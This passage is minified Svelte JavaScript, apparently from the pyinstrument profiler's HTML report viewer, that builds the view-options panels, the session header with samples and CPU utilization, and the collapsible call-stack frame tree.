svelte-1pecl4m\"),a(me,\"id\",i[1]+\"removeImportlib\"),a(me,\"type\",\"checkbox\"),a(me,\"class\",\"svelte-1pecl4m\"),a(pe,\"for\",i[1]+\"removeImportlib\"),a(fe,\"class\",\"option svelte-1pecl4m\"),a(K,\"id\",i[1]+\"removeTracebackHide\"),a(K,\"type\",\"checkbox\"),a(K,\"class\",\"svelte-1pecl4m\"),a(Me,\"for\",i[1]+\"removeTracebackHide\"),a(Ae,\"class\",\"option svelte-1pecl4m\"),a(X,\"id\",i[1]+\"removePyinstrument\"),a(X,\"type\",\"checkbox\"),a(X,\"class\",\"svelte-1pecl4m\"),a(at,\"for\",i[1]+\"removePyinstrument\"),a(O,\"class\",\"option svelte-1pecl4m\"),a(Fe,\"id\",i[1]+\"removeIrrelevant\"),a(Fe,\"type\",\"checkbox\"),a(Fe,\"class\",\"svelte-1pecl4m\"),a(ct,\"for\",i[1]+\"removeIrrelevant\"),a(ye,\"type\",\"number\"),ye.value=i[2](),a(ye,\"min\",\"0\"),a(ye,\"max\",\"99\"),a(ye,\"step\",\"0.01\"),j(ye,\"width\",\"4em\"),a(ye,\"class\",\"svelte-1pecl4m\"),a(ze,\"class\",\"option svelte-1pecl4m\"),a(te,\"class\",\"body\"),a(le,\"class\",\"option-group svelte-1pecl4m\"),a(ut,\"class\",\"name svelte-1pecl4m\"),a(ie,\"type\",\"radio\"),ie.__value=\"absolute\",ae(ie,ie.__value),a(ie,\"class\",\"svelte-1pecl4m\"),a(dt,\"class\",\"option svelte-1pecl4m\"),a(ne,\"type\",\"radio\"),ne.__value=\"proportion\",ae(ne,ne.__value),a(ne,\"class\",\"svelte-1pecl4m\"),a(ft,\"class\",\"option svelte-1pecl4m\"),a(Ue,\"class\",\"body\"),a(qe,\"class\",\"option-group svelte-1pecl4m\"),a(e,\"class\",\"view-options-call-stack svelte-1pecl4m\"),Rt.p(ie,ne),It.p(o,w,Y)},m(G,se){S(G,e,se),u(e,t),u(t,n),u(t,s),u(t,l),u(l,r),u(r,o),o.checked=o.__value===i[0].collapseMode,u(r,c),u(r,d),u(d,v),u(r,p),u(r,m),u(l,h),u(l,g),u(g,w),w.checked=w.__value===i[0].collapseMode,u(g,E),u(g,C),u(C,y),u(g,k),u(g,H),u(H,W),u(H,P),u(P,M),u(P,_),u(P,A),ae(A,i[0].collapseCustomShow),u(P,R),u(P,B),u(P,J),u(P,$),ae($,i[0].collapseCustomHide),u(H,Le),u(l,ee),u(l,Q),u(Q,Y),Y.checked=Y.__value===i[0].collapseMode,u(Q,Ce),u(Q,q),u(q,Qe),u(e,Je),u(e,le),u(le,U),u(le,et),u(le,te),u(te,fe),u(fe,me),me.checked=i[0].removeImportlib,u(fe,be),u(fe,pe),u(pe,Te),u(te,tt),u(te,Ae),u(Ae,K),K.checked=i[0].removeTracebackHide,u(Ae,Be),u(Ae,Me),u(Me,it),u(te,z),u(te,O),u(O,X),X.checked=i[0].removePyinstrument,u(O,hi),u(O,at),u(at,fi),u(te,mi),u(te,ze),u(ze,Fe),Fe.checked=i[0].removeIrrelevant,u(ze,pi),u(ze,We),u(We,ct),u(ct,vi),u(We,gi),u(We,ye),u(We,_i),u(e,wi),u(e,qe),u(qe,ut),u(qe,bi),u(qe,Ue),u(Ue,dt),u(dt,ht),u(ht,ie),ie.checked=ie.__value===i[0].timeFormat,u(ht,yi),u(Ue,Ti),u(Ue,ft),u(ft,mt),u(mt,ne),ne.checked=ne.__value===i[0].timeFormat,u(mt,Ai),Lt||(Ei=[x(o,\"change\",i[4]),x(w,\"change\",i[6]),x(A,\"input\",i[7]),x($,\"input\",i[8]),x(Y,\"change\",i[9]),x(me,\"change\",i[10]),x(K,\"change\",i[11]),x(X,\"change\",i[12]),x(Fe,\"change\",i[13]),x(ye,\"input\",i[3]),x(ie,\"change\",i[14]),x(ne,\"change\",i[15])],Lt=!0)},p(G,[se]){se&1&&(o.checked=o.__value===G[0].collapseMode),se&1&&(w.checked=w.__value===G[0].collapseMode),se&1&&A.value!==G[0].collapseCustomShow&&ae(A,G[0].collapseCustomShow),se&1&&$.value!==G[0].collapseCustomHide&&ae($,G[0].collapseCustomHide),se&1&&(Y.checked=Y.__value===G[0].collapseMode),se&1&&(me.checked=G[0].removeImportlib),se&1&&(K.checked=G[0].removeTracebackHide),se&1&&(X.checked=G[0].removePyinstrument),se&1&&(Fe.checked=G[0].removeIrrelevant),se&1&&(ie.checked=ie.__value===G[0].timeFormat),se&1&&(ne.checked=ne.__value===G[0].timeFormat)},i:F,o:F,d(G){G&&L(e),Rt.r(),It.r(),Lt=!1,oe(Ei)}}}function nn(i,e,t){let n;ge(i,Z,k=>t(0,n=k));const s=ot();function l(){return(n.removeIrrelevantThreshold*100).toLocaleString(void 0,{maximumFractionDigits:4})}function r(k){Ci(Z,n.removeIrrelevantThreshold=k.currentTarget.valueAsNumber/100,n)}const o=[[],[]];function c(){n.collapseMode=this.__value,Z.set(n)}function d(){n.collapseMode=this.__value,Z.set(n)}function v(){n.collapseCustomShow=this.value,Z.set(n)}function p(){n.collapseCustomHide=this.value,Z.set(n)}function m(){n.collapseMode=this.__value,Z.set(n)}function h(){n.removeImportlib=this.checked,Z.set(n)}function g(){n.removeTracebackHide=this.checked,Z.set(n)}function w(){n.removePyinstrument=this.checked,Z.set(n)}function E(){n.removeIrrelevant=this.checked,Z.set(n)}function C(){n.timeFormat=this.__value,Z.set(n)}function y(){n.timeFormat=this.__value,Z.set(n)}return[n,s,l,r,c,o,d,v,p,m,h,g,w,E,C,y]}class sn extends he{constructor(e){super(),de(this,e,nn,tn,re,{})}}function on(i){let e,t,n,s,l,r,o,c,d,v,p,m,h,g,w,E,C,y,k,H,W,P,M,_;return{c(){e=f(\"div\"),t=f(\"div\"),n=f(\"div\"),n.textContent=\"Remove frames\",s=b(),l=f(\"div\"),r=f(\"div\"),o=f(\"input\"),c=b(),d=f(\"label\"),v=I(\"importlib machinery\"),p=b(),m=f(\"div\"),h=f(\"input\"),g=b(),w=f(\"label\"),E=I(\"Frames declaring __traceback_hide__\"),C=b(),y=f(\"div\"),k=f(\"input\"),H=b(),W=f(\"label\"),P=I(\"pyinstrument frames\"),a(n,\"class\",\"name\"),a(o,\"id\",i[1]+\"removeImportlib\"),a(o,\"type\",\"checkbox\"),a(d,\"for\",i[1]+\"removeImportlib\"),a(r,\"class\",\"option\"),a(h,\"id\",i[1]+\"removeTracebackHide\"),a(h,\"type\",\"checkbox\"),a(w,\"for\",i[1]+\"removeTracebackHide\"),a(m,\"class\",\"option\"),a(k,\"id\",i[1]+\"removePyinstrument\"),a(k,\"type\",\"checkbox\"),a(W,\"for\",i[1]+\"removePyinstrument\"),a(y,\"class\",\"option\"),a(l,\"class\",\"body\"),a(t,\"class\",\"option-group\"),a(e,\"class\",\"view-options-timeline svelte-vsz8zm\")},m(A,R){S(A,e,R),u(e,t),u(t,n),u(t,s),u(t,l),u(l,r),u(r,o),o.checked=i[0].removeImportlib,u(r,c),u(r,d),u(d,v),u(l,p),u(l,m),u(m,h),h.checked=i[0].removeTracebackHide,u(m,g),u(m,w),u(w,E),u(l,C),u(l,y),u(y,k),k.checked=i[0].removePyinstrument,u(y,H),u(y,W),u(W,P),M||(_=[x(o,\"change\",i[2]),x(h,\"change\",i[3]),x(k,\"change\",i[4])],M=!0)},p(A,[R]){R&1&&(o.checked=A[0].removeImportlib),R&1&&(h.checked=A[0].removeTracebackHide),R&1&&(k.checked=A[0].removePyinstrument)},i:F,o:F,d(A){A&&L(e),M=!1,oe(_)}}}function rn(i,e,t){let n;ge(i,je,c=>t(0,n=c));const s=ot();function l(){n.removeImportlib=this.checked,je.set(n)}function r(){n.removeTracebackHide=this.checked,je.set(n)}function o(){n.removePyinstrument=this.checked,je.set(n)}return[n,s,l,r,o]}class ln extends he{constructor(e){super(),de(this,e,rn,on,re,{})}}function an(i){let e,t;return e=new ln({}),{c(){we(e.$$.fragment)},m(n,s){ce(e,n,s),t=!0},i(n){t||(D(e.$$.fragment,n),t=!0)},o(n){N(e.$$.fragment,n),t=!1},d(n){ue(e,n)}}}function cn(i){let e,t;return e=new sn({}),{c(){we(e.$$.fragment)},m(n,s){ce(e,n,s),t=!0},i(n){t||(D(e.$$.fragment,n),t=!0)},o(n){N(e.$$.fragment,n),t=!1},d(n){ue(e,n)}}}function un(i){let e,t,n,s,l,r,o,c,d;const v=[cn,an],p=[];function m(h,g){return h[0].viewMode===\"call-stack\"?0:h[0].viewMode===\"timeline\"?1:-1}return~(o=m(i))&&(c=p[o]=v[o](i)),{c(){e=f(\"div\"),t=f(\"div\"),n=f(\"div\"),s=I(i[3]),l=b(),r=f(\"div\"),c&&c.c(),a(n,\"class\",\"title-row svelte-rpk7lo\"),a(r,\"class\",\"body svelte-rpk7lo\"),a(t,\"class\",\"box svelte-rpk7lo\"),a(e,\"class\",\"view-options svelte-rpk7lo\")},m(h,g){S(h,e,g),u(e,t),u(t,n),u(n,s),u(t,l),u(t,r),~o&&p[o].m(r,null),i[4](t),i[5](e),d=!0},p(h,[g]){(!d||g&8)&&_e(s,h[3]);let w=o;o=m(h),o!==w&&(c&&(Oe(),N(p[w],1,1,()=>{p[w]=null}),Ve()),~o?(c=p[o],c||(c=p[o]=v[o](h),c.c()),D(c,1),c.m(r,null)):c=null)},i(h){d||(D(c),d=!0)},o(h){N(c),d=!1},d(h){h&&L(e),~o&&p[o].d(),i[4](null),i[5](null)}}}function dn(i,e,t){let n;ge(i,Ge,m=>t(0,n=m));const s=Li();function l(){s(\"close\")}let r,o;bt(()=>{if(o)return Qi(o,l,{ignore:[\".js-view-options-button\"]})});function c(){if(!r||!o)return;const m=r.getBoundingClientRect(),g=o.getBoundingClientRect().width;m.right-g-20<0?t(2,o.style.right=`${m.right-g-20}px`,o):t(2,o.style.right=\"0\",o)}bt(()=>(c(),window.addEventListener(\"resize\",c),()=>window.removeEventListener(\"resize\",c)));let d=\"View options\";function v(m){ke[m?\"unshift\":\"push\"](()=>{o=m,t(2,o)})}function p(m){ke[m?\"unshift\":\"push\"](()=>{r=m,t(1,r)})}return i.$$.update=()=>{i.$$.dirty&1&&(n.viewMode===\"call-stack\"?t(3,d=\"Call stack view options\"):n.viewMode===\"timeline\"&&t(3,d=\"Timeline view options\"))},[n,r,o,d,v,p]}class hn extends he{constructor(e){super(),de(this,e,dn,un,re,{})}}function Nt(i){let e,t;return e=new hn({}),e.$on(\"close\",i[9]),{c(){we(e.$$.fragment)},m(n,s){ce(e,n,s),t=!0},p:F,i(n){t||(D(e.$$.fragment,n),t=!0)},o(n){N(e.$$.fragment,n),t=!1},d(n){ue(e,n)}}}function fn(i){let e,t,n,s,l,r,o,c,d=Ct(i[0].target_description)+\"\",v,p,m,h,g,w,E,C,y,k,H,W,P,M=i[0].sampleCount+\"\",_,A,R,B,J,$,Le,ee,Q,Y,Ce,q,Qe,Je,le,U,et,te,fe,me,be,pe,Te,tt,Ae,K,Be,Me,it;l=new qi({}),Te=new zi({});let z=i[1]&&Nt(i);return Be=_t(i[7][0]),{c(){e=f(\"div\"),t=f(\"div\"),n=f(\"div\"),s=f(\"div\"),we(l.$$.fragment),r=b(),o=f(\"div\"),c=f(\"div\"),v=b(),p=f(\"div\"),m=f(\"div\"),h=f(\"span\"),h.textContent=\"Recorded:\",g=b(),w=f(\"span\"),w.textContent=`${i[3]}`,E=b(),C=f(\"br\"),y=b(),k=f(\"div\"),H=f(\"span\"),H.textContent=\"Samples:\",W=b(),P=f(\"span\"),_=I(M),A=b(),R=f(\"div\"),B=f(\"span\"),B.textContent=\"CPU utilization:\",J=b(),$=f(\"span\"),$.textContent=`${(i[4]*100).toFixed(0)}%`,Le=b(),ee=f(\"div\"),Q=f(\"div\"),Y=I(`View:\n            `),Ce=f(\"label\"),q=f(\"input\"),Qe=I(`\n              Call stack`),Je=b(),le=f(\"label\"),U=f(\"input\"),et=I(`\n              Timeline`),te=b(),fe=f(\"div\"),me=b(),be=f(\"div\"),pe=f(\"button\"),we(Te.$$.fragment),tt=I(`\n              View options`),Ae=b(),z&&z.c(),a(s,\"class\",\"logo svelte-qdxst2\"),a(c,\"class\",\"target-description svelte-qdxst2\"),a(h,\"class\",\"metric-label svelte-qdxst2\"),a(w,\"class\",\"metric-value svelte-qdxst2\"),a(m,\"class\",\"metric date svelte-qdxst2\"),a(C,\"class\",\"svelte-qdxst2\"),a(H,\"class\",\"metric-label svelte-qdxst2\"),a(P,\"class\",\"metric-value svelte-qdxst2\"),a(k,\"class\",\"metric svelte-qdxst2\"),a(B,\"class\",\"metric-label svelte-qdxst2\"),a($,\"class\",\"metric-value svelte-qdxst2\"),a(R,\"class\",\"metric svelte-qdxst2\"),a(p,\"class\",\"metrics svelte-qdxst2\"),a(q,\"type\",\"radio\"),q.__value=\"call-stack\",ae(q,q.__value),a(q,\"class\",\"svelte-qdxst2\"),a(Ce,\"class\",\"svelte-qdxst2\"),a(U,\"type\",\"radio\"),U.__value=\"timeline\",ae(U,U.__value),a(U,\"class\",\"svelte-qdxst2\"),a(le,\"class\",\"svelte-qdxst2\"),a(Q,\"class\",\"toggle\"),a(fe,\"class\",\"spacer\"),j(fe,\"flex\",\"1\"),a(pe,\"class\",\"js-view-options-button svelte-qdxst2\"),a(be,\"class\",\"button-container svelte-qdxst2\"),a(ee,\"class\",\"view-options svelte-qdxst2\"),a(o,\"class\",\"layout svelte-qdxst2\"),a(n,\"class\",\"row svelte-qdxst2\"),a(t,\"class\",\"margins\"),a(e,\"class\",\"header svelte-qdxst2\"),Be.p(q,U)},m(O,X){S(O,e,X),u(e,t),u(t,n),u(n,s),ce(l,s,null),u(n,r),u(n,o),u(o,c),c.innerHTML=d,u(o,v),u(o,p),u(p,m),u(m,h),u(m,g),u(m,w),u(p,E),u(p,C),u(p,y),u(p,k),u(k,H),u(k,W),u(k,P),u(P,_),u(p,A),u(p,R),u(R,B),u(R,J),u(R,$),u(o,Le),u(o,ee),u(ee,Q),u(Q,Y),u(Q,Ce),u(Ce,q),q.checked=q.__value===i[2].viewMode,u(Ce,Qe),u(Q,Je),u(Q,le),u(le,U),U.checked=U.__value===i[2].viewMode,u(le,et),u(ee,te),u(ee,fe),u(ee,me),u(ee,be),u(be,pe),ce(Te,pe,null),u(pe,tt),u(be,Ae),z&&z.m(be,null),K=!0,Me||(it=[x(q,\"change\",i[6]),x(U,\"change\",i[8]),x(pe,\"click\",gt(vt(i[5])))],Me=!0)},p(O,[X]){(!K||X&1)&&d!==(d=Ct(O[0].target_description)+\"\")&&(c.innerHTML=d),(!K||X&1)&&M!==(M=O[0].sampleCount+\"\")&&_e(_,M),X&4&&(q.checked=q.__value===O[2].viewMode),X&4&&(U.checked=U.__value===O[2].viewMode),O[1]?z?(z.p(O,X),X&2&&D(z,1)):(z=Nt(O),z.c(),D(z,1),z.m(be,null)):z&&(Oe(),N(z,1,1,()=>{z=null}),Ve())},i(O){K||(D(l.$$.fragment,O),D(Te.$$.fragment,O),D(z),K=!0)},o(O){N(l.$$.fragment,O),N(Te.$$.fragment,O),N(z),K=!1},d(O){O&&L(e),ue(l),ue(Te),z&&z.d(),Be.r(),Me=!1,oe(it)}}}function mn(i,e,t){let n;ge(i,Ge,h=>t(2,n=h));let{session:s}=e;const l=new Date(s.startTime*1e3).toLocaleString(void 0,{dateStyle:\"long\",timeStyle:\"medium\"}),r=s.cpuTime/s.duration;let o=!1;function c(h){t(1,o=!o)}const d=[[]];function v(){n.viewMode=this.__value,Ge.set(n)}function p(){n.viewMode=this.__value,Ge.set(n)}const m=()=>t(1,o=!1);return i.$$set=h=>{\"session\"in h&&t(0,s=h.session)},[s,o,n,l,r,c,v,d,p,m]}class pn extends he{constructor(e){super(),de(this,e,mn,fn,re,{session:0})}}const vn=\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAACXBIWXMAABYlAAAWJQFJUiTwAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAWmSURBVHgBtVc7i11VFF5rn3PvPKoLFlqmDGPhaGVpJQoWAZEEGxERFBsDgnY6KFpaWWrQysRGf4BgmSKQFCKWKQMKTqNzz2svv/XY55ybeycTCw+z736cs/f61rdee5hmz/Hx85c66m4QyTEzrdAo4cd6EuuJ2P4wtbmUgfZkCyRoWVcwyMI29ybW47sfhRfXf793+z4X4ZchPEl3F2esElYrbRVaEjQGEKGE3jcUofGwlIEBygoACAa0fmDrdV4AOAg6FV4+W49nUPdlEW4AElGNtqjZ+hqIdI2NAC7KuvAZloyJCR+IukGmF5A6iH/IbEBWLN2NevbBFQ6tCoAF3u7VggYQtQJyFlygOAADI74Jf669QDiWWh6xFRMUgLF6PAGYkcgGgGkBE/x8AiSVaykG0AUxlgm7BY0BUMAQL8R77LM96F98A98kBeu+kAdlgA0MntUGACmOFDQl5sm+Rai6lwpMLtiEgSVGE8wVFBkAB7XcU+rdJOoLSU0x8Aii3ta/0AWqMHjlM6LDPaYDHLSsnRn9pjMny2jBCDSu9H3tDqpCmw4C6lgHqAQmWB05uwwF8RCAQpU7jIbQYCElBsjAlabfqJdnD7lKwzVcIVVOgmKpF2g921pS8/QRvuETmwDEKZdwFHMocYHffYSfBc0opojVIomjx/dY64CkxVktMsgar16/IhbKygANruwWA+YDkURUcNHQaK5ps1XhBwaAzf6M9YzWq3Ac1EKACm80cB8KV6IdPsCR0aQAMBAaUkxXPyU6WDqlypKaSEOtmCCpDyAKFgu1gSecrhdar4n++VsiGUVWDHUpdJkYEPEkEyDc7paHTShXbkuNhqQfaF5wMt16lff69JYFFYT3A8AYgFxku5xtBtw9R7YsEiH85hcYLIsfuO0lfCCHvTtMWxszNRhDebp+LRsTGobFr0zBiO5tBnhWaZgiDwD5gi3Wiw+YcDAwoDfB+MaFq83RsP8M5zSYdFjsBwfh9YAjErbyQLHNVNUsH2Dl2odCh4dE+0vQXjtI9YG2z05zOKvSbdR3eKdtLTbugVKzoOQxC+7KA5NtJPiXEZaH5xDglMrOBMHTWxdWhA/QVqtgEdx3EtVwSkDOxE4GHESpCZzcHLe+4gg3HA7P69jpfvutTA0GTQNNkXAs5UYJVjC593keik/JBohzALjQsXbrJtRksRgntzm7nVX4GnZumtC4D23N4aIAZWdv9LyZv+3IA87AlHY1HQu9+q7Qwb7nAQ01FbQ+g5NBaNOKA2jdD0bg4+UjzCrbqu6IgrLB6aLRF6KWB0ZNUj15QvLCRVa8PNanqiq7pM7kbVXDEvdaipMmHIRfBa2//aYC9WI5vjH6ydLsB1ezpePiK9PhYcoLnjSK5kljNUWqvXppKdVxo4XFhIsJ93gXy/8clxIvt0X7i4XrU8+1D+wGgKPGW/UCzHfew9VsXywVZxbz8GYdKqS4rCTfZ/NZvD8WA/Yxu/aW661F7q+cIbsXVO6EcVf3b0t9SIXFx9N+kwEO3w8QVmhggq+/9xSroVdiv5TZlr0SanL6/KXOK5SaL9b/G4DRdDzONZbPuAjXS4bnfPWBPrJkjhzpYbdR8OeXz62nvBt3HD3z3F/2f0Fyx9O7XL2HAoj7YG33AK8Bag4TrJlOa0DrrVtrj7DsPBtKlgstsZGIcOW+B0wvlMP1EOqcCh1rTldb+/Xcw2woqbaLeh/Vbl7vH/Vgx08TABrehO53ccJKK1ZWP+gjpRqAKdaN8jxLs5r7Bx5TMBm18kjxOOZ0ub/3flUW/nzw4PSJp568CT0vYXq5aGJgslc4o7doPI6dcis2eUq950Ug1DqF9NvQ/uVf79y5v+E1IptedEInNj+iT2L9Nfv9jf7gI/pFdP4D5rfoaYw/Lv+pReVRq/JOEEXOee/PAf7/PP8C3bt510T4rIwAAAAASUVORK5CYII=\",$t=st({}),Bt=st({});function zt(i){return i>.6?\"#FF4159\":i>.3?\"#F5A623\":i>.15?\"#D8CB2A\":i>.05?\"#7ED321\":\"#58984f\"}function Wt(i,e,t){const n=i.slice();return n[21]=e[t],n}function qt(i){let e,t,n,s,l,r,o,c,d,v,p,m,h,g,w,E,C;return{c(){e=f(\"div\"),t=f(\"div\"),n=V(\"svg\"),s=V(\"path\"),l=b(),r=f(\"div\"),o=I(i[6]),c=b(),d=f(\"div\"),v=I(i[4]),p=b(),m=f(\"div\"),h=I(i[5]),g=b(),w=f(\"div\"),a(s,\"d\",\"M.937-.016L5.793 4.84.937 9.696z\"),a(s,\"fill\",i[8]),a(s,\"fill-rule\",\"evenodd\"),a(s,\"fill-opacity\",\".582\"),a(n,\"width\",\"6\"),a(n,\"height\",\"10\"),a(t,\"class\",\"frame-triangle svelte-7e9kco\"),Ee(t,\"rotate\",!i[9]),j(t,\"visibility\",i[0].children.length>0?\"visible\":\"hidden\"),a(r,\"class\",\"time svelte-7e9kco\"),j(r,\"color\",i[8]),j(r,\"font-weight\",i[11]<.15?500:600),a(d,\"class\",\"name svelte-7e9kco\"),a(m,\"class\",\"code-position svelte-7e9kco\"),a(e,\"class\",\"frame-description svelte-7e9kco\"),a(e,\"role\",\"button\"),a(e,\"tabindex\",\"0\"),Ee(e,\"application-code\",i[0].isApplicationCode),Ee(e,\"children-visible\",!i[9]),j(e,\"padding-left\",`${i[2]*35}px`),a(w,\"class\",\"visual-guide svelte-7e9kco\"),j(w,\"left\",`${i[2]*35+21}px`),j(w,\"background-color\",i[8])},m(y,k){S(y,e,k),u(e,t),u(t,n),u(n,s),u(e,l),u(e,r),u(r,o),u(e,c),u(e,d),u(d,v),u(e,p),u(e,m),u(m,h),S(y,g,k),S(y,w,k),E||(C=[x(e,\"keydown\",i[14]),x(e,\"click\",gt(vt(i[12])))],E=!0)},p(y,k){k&256&&a(s,\"fill\",y[8]),k&512&&Ee(t,\"rotate\",!y[9]),k&1&&j(t,\"visibility\",y[0].children.length>0?\"visible\":\"hidden\"),k&64&&_e(o,y[6]),k&256&&j(r,\"color\",y[8]),k&16&&_e(v,y[4]),k&32&&_e(h,y[5]),k&1&&Ee(e,\"application-code\",y[0].isApplicationCode),k&512&&Ee(e,\"children-visible\",!y[9]),k&4&&j(e,\"padding-left\",`${y[2]*35}px`),k&4&&j(w,\"left\",`${y[2]*35+21}px`),k&256&&j(w,\"background-color\",y[8])},d(y){y&&(L(e),L(g),L(w)),E=!1,oe(C)}}}function Ut(i){let e,t,n,s,l=i[0].group.frames.length-1+\"\",r,o,c,d,v,p;return{c(){e=f(\"div\"),t=f(\"div\"),n=f(\"div\"),n.innerHTML='<svg width=\"6\" height=\"10\"><path d=\"M.937-.016L5.793 4.84.937 9.696z\" fill=\"#FFF\" fill-rule=\"evenodd\" fill-opacity=\".582\"></path></svg>',s=b(),r=I(l),o=I(\" frames hidden (\"),c=I(i[7]),d=I(\")\"),a(n,\"class\",\"group-triangle svelte-7e9kco\"),Ee(n,\"rotate\",i[10]),a(t,\"class\",\"group-header-button svelte-7e9kco\"),a(e,\"class\",\"group-header svelte-7e9kco\"),a(e,\"role\",\"button\"),a(e,\"tabindex\",\"0\"),j(e,\"padding-left\",`${i[2]*35}px`)},m(m,h){S(m,e,h),u(e,t),u(t,n),u(t,s),u(t,r),u(t,o),u(t,c),u(t,d),v||(p=[x(e,\"keydown\",i[15]),x(e,\"click\",gt(vt(i[13])))],v=!0)},p(m,h){h&1024&&Ee(n,\"rotate\",m[10]),h&1&&l!==(l=m[0].group.frames.length-1+\"\")&&_e(r,l),h&128&&_e(c,m[7]),h&4&&j(e,\"padding-left\",`${m[2]*35}px`)},d(m){m&&L(e),v=!1,oe(p)}}}function Yt(i){let e,t=[],n=new Map,s,l=Ot(i[0].children);const r=o=>o[21].uuid;for(let o=0;o<l.length;o+=1){let c=Wt(i,l,o),d=r(c);n.set(d,t[o]=Xt(d,c))}return{c(){e=f(\"div\");for(let o=0;o<t.length;o+=1)t[o].c();a(e,\"class\",\"children svelte-7e9kco\")},m(o,c){S(o,e,c);for(let d=0;d<t.length;d+=1)t[d]&&t[d].m(e,null);s=!0},p(o,c){c&15&&(l=Ot(o[0].children),Oe(),t=xi(t,c,r,1,o,l,n,e,Vi,Xt,null,Wt),Ve())},i(o){if(!s){for(let c=0;c<l.length;c+=1)D(t[c]);s=!0}},o(o){for(let c=0;c<t.length;c+=1)N(t[c]);s=!1},d(o){o&&L(e);for(let c=0;c<t.length;c+=1)t[c].d()}}}function Xt(i,e){let t,n,s;return n=new Kt({props:{frame:e[21],rootFrame:e[1],indent:e[2]+(e[3]?1:0)}}),{key:i,first:null,c(){t=Mi(),we(n.$$.fragment),this.first=t},m(l,r){S(l,t,r),ce(n,l,r),s=!0},p(l,r){e=l;const o={};r&1&&(o.frame=e[21]),r&2&&(o.rootFrame=e[1]),r&12&&(o.indent=e[2]+(e[3]?1:0)),n.$set(o)},i(l){s||(D(n.$$.fragment,l),s=!0)},o(l){N(n.$$.fragment,l),s=!1},d(l){l&&L(t),ue(n,l)}}}function gn(i){let e,t,n,s,l=i[3]&&qt(i),r=i[0].group&&i[0].group.rootFrame==i[0]&&!i[9]&&Ut(i),o=!i[9]&&i[0].children.length>0&&Yt(i);return{c(){e=f(\"div\"),l&&l.c(),t=b(),r&&r.c(),n=b(),o&&o.c(),a(e,\"class\",\"frame svelte-7e9kco\")},m(c,d){S(c,e,d),l&&l.m(e,null),u(e,t),r&&r.m(e,null),u(e,n),o&&o.m(e,null),s=!0},p(c,[d]){c[3]?l?l.p(c,d):(l=qt(c),l.c(),l.m(e,t)):l&&(l.d(1),l=null),c[0].group&&c[0].group.rootFrame==c[0]&&!c[9]?r?r.p(c,d):(r=Ut(c),r.c(),r.m(e,n)):r&&(r.d(1),r=null),!c[9]&&c[0].children.length>0?o?(o.p(c,d),d&513&&D(o,1)):(o=Yt(c),o.c(),D(o,1),o.m(e,null)):o&&(Oe(),N(o,1,1,()=>{o=null}),Ve())},i(c){s||(D(o),s=!0)},o(c){N(o),s=!1},d(c){c&&L(e),l&&l.d(),r&&r.d(),o&&o.d()}}}function Gt(){const i='a:not([disabled]), button:not([disabled]), input[type=text]:not([disabled]), [tabindex]:not([disabled]):not([tabindex=\"-1\"])',e=document.querySelector(\".call-stack-view\");if(!e)throw new Error(\"callStackElement not found\");var t=Array.prototype.filter.call(e.querySelectorAll(i),function(n){return n.offsetWidth>0||n.offsetHeight>0||n===document.activeElement});return t}function jt(){const i=Gt();var e=i.indexOf(document.activeElement);if(e>-1){var t=i[e+1];t&&t.focus()}}function Zt(){const i=Gt();var e=i.indexOf(document.activeElement);if(e>-1){var t=i[e-1];t&&t.focus()}}function _n(i,e,t){let n,s,l,r,o;ge(i,Bt,_=>t(16,l=_)),ge(i,$t,_=>t(17,r=_)),ge(i,Z,_=>t(18,o=_));let{frame:c}=e,{rootFrame:d}=e,{indent:v=0}=e,p;const m=c.time/d.time;let h,g;c.isSynthetic||c.filePathShort==null?g=\"\":c.lineNo==null||c.lineNo===0?g=c.filePathShort:g=`${c.filePathShort}:${c.lineNo}`;let w,E=null;if(c.group){const _=c.group.libraries;_.length<4?E=_.join(\", \"):E=`${_[0]}, ${_[1]}, ${_[2]}...`}let C;C=zt(m);function y(_){k(c,!s,_.altKey)}function k(_,A,R=!0){if(Bt.update(B=>({...B,[_.uuid]:A})),R)for(const B of _.children)k(B,A,!0),_.group&&_.group.rootFrame==_&&H(_.group.id,!A)}function H(_,A){$t.update(R=>({...R,[_]:A}))}function W(){c.group&&H(c.group.id,!n)}function P(_){let A=!0;_.key===\"Enter\"||_.key===\" \"?y(_):_.key===\"ArrowLeft\"&&!s?k(c,!0,_.altKey):_.key===\"ArrowRight\"&&s?k(c,!1,_.altKey):_.key===\"ArrowUp\"?Zt():_.key===\"ArrowDown\"?jt():A=!1,A&&(_.preventDefault(),_.stopPropagation())}function M(_){let A=!0;_.key===\"Enter\"||_.key===\" \"?W():_.key===\"ArrowLeft\"&&c.group?H(c.group.id,!1):_.key===\"ArrowRight\"&&c.group?H(c.group.id,!0):_.key===\"ArrowUp\"?Zt():_.key===\"ArrowDown\"?jt():A=!1,A&&(_.preventDefault(),_.stopPropagation())}return i.$$set=_=>{\"frame\"in _&&t(0,c=_.frame),\"rootFrame\"in _&&t(1,d=_.rootFrame),\"indent\"in _&&t(2,v=_.indent)},i.$$.update=()=>{var _,A;if(i.$$.dirty&131073&&(c.group?r[c.group.id??\"\"]||((_=c.group)==null?void 0:_.rootFrame)===c||c.children.filter(R=>!R.group).length>1?t(3,p=!0):t(3,p=!1):t(3,p=!0)),i.$$.dirty&1&&(c.className?t(4,h=`${c.className}.${c.function}`):t(4,h=c.function)),i.$$.dirty&262145)if(o.timeFormat===\"absolute\")t(6,w=c.time.toLocaleString(void 0,{minimumFractionDigits:c.context.precision,maximumFractionDigits:c.context.precision}));else if(o.timeFormat===\"proportion\")t(6,w=`${(m*100).toLocaleString(void 0,{minimumFractionDigits:1,maximumFractionDigits:1})}%`);else throw new Error(\"unknown timeFormat\");i.$$.dirty&131073&&t(10,n=r[((A=c.group)==null?void 0:A.id)??\"\"]===!0),i.$$.dirty&65537&&t(9,s=l[c.uuid]===!0)},[c,d,v,p,h,g,w,E,C,s,n,m,y,W,P,M,l,r,o]}let Kt=class extends he{constructor(e){super(),de(this,e,_n,gn,re,{frame:0,rootFrame:1,indent:2})}};function Qt(i,e,t){let n=i;for(const s of e)if(n=s(n,t),!n)return null;return n}const wn=\"\\0\",bn=\"[await]\",Ze=\"[self]\",yn=[bn,Ze,\"[out-of-context]\",\"[root]\"],Tn=\"c\",An=\"h\";class Ke{constructor(e,t){T(this,\"uuid\",ot());T(this,\"identifier\");T(this,\"_identifierParts\");T(this,\"startTime\");T(this,\"time\",0);T(this,\"absorbedTime\",0);T(this,\"group\",null);T(this,\"attributes\");T(this,\"_children\",[]);T(this,\"parent\",null);T(this,\"context\");var 